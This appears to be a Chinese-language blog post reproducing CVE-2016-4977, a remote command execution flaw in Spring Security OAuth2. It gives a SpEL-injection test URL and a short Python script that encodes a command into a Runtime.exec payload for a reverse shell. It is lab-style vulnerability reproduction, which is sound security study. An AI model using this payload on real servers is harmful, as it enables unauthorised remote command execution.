Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)


Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

参考链接:

漏洞复现

访问 http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test。首先需要填写用户名和密码,我们这里填入admin:admin即可。

可见,我们输入是SpEL表达式${233*233}已经成功执行并返回结果:

然后,我们使用 poc.py 来生成反弹 shell 的 POC(注意:Java反弹shell的限制与绕过方式):

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 

poc += ')}'

print(poc)


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
Spring WebFlow 远程代码执行漏洞(CVE-2017-4971) Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如
2019-03-03
下一篇 
Supervisord 远程命令执行漏洞(CVE-2017-11610) Supervisord 远程命令执行漏洞(CVE-2017-11610)
Supervisord 远程命令执行漏洞(CVE-2017-11610)SupervisordSupervisord 是一款 Python 开发,用于管理后台应用(服务)的工具,其角色类似于 Linux 自带的 Systemd。 比 Sys
2019-03-03
  目录